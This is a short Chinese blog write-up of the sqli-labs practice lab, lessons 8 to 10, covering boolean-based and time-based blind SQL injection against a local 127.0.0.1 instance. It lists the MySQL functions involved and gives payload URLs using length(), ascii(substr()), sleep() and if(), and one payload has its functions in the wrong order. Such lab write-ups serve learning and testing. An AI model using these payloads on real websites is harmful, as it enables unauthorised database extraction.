sqli-labs (less-8-less-10)
阿新 • • 發佈:2018-12-01
pos clas src 127.0.0.1 使用 mage lee 小菜 ascii
盲註需要掌握一些MySQL的相關函數:
length(str):返回str字符串的長度。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。註意這裏的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的一樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
---------------------
作者:giantbranch
來源:CSDN
原文:https://blog.csdn.net/u012763794/article/details/51207833
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!
正常套路
?id=1
id=1‘
id=1"
嘗試報錯註入
嘗試盲註
http://127.0.0.1/sql/Less-8/?id=1‘ and (length(database()))>0 --+
http://127.0.0.1/sql/Less-8/?id=1‘ and (length(database()))<0 --+
即存在盲註
利用二分法獲得表名
http://127.0.0.1/sql/Less-8/?id=1‘ and ascii(substr((select database()),1,1))=115 %23
第一個字母是s
第二個字母
依次下來
可是太慢了,要學會寫腳本
目前我這個小菜雞還不會寫腳本 ,等我學會了再來補充,
可以用sqlmap,不要依賴,除非做自己會寫tamper
less-9
http://127.0.0.1/sql/Less-9/?id=1‘ and length(database())>0 %23
id=1‘ and length(database())<0 %23
還是一樣 ,接下來使用時間盲註
判斷: ?id=1‘ and sleep(10) %23 //等了足足十秒才返回,可以用時間盲註 要用到if() /?id=1‘ and if(length(database())<0,1,sleep(10)) %23 //判斷數據庫名的長度 ?id=1‘ and if(substr(ascii(database()),1,1)<0,1,sleep(10)) %23?id=1‘ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 //二分法猜解
less-10
這是被雙引號包圍的時間註入
sqli-labs (less-8-less-10)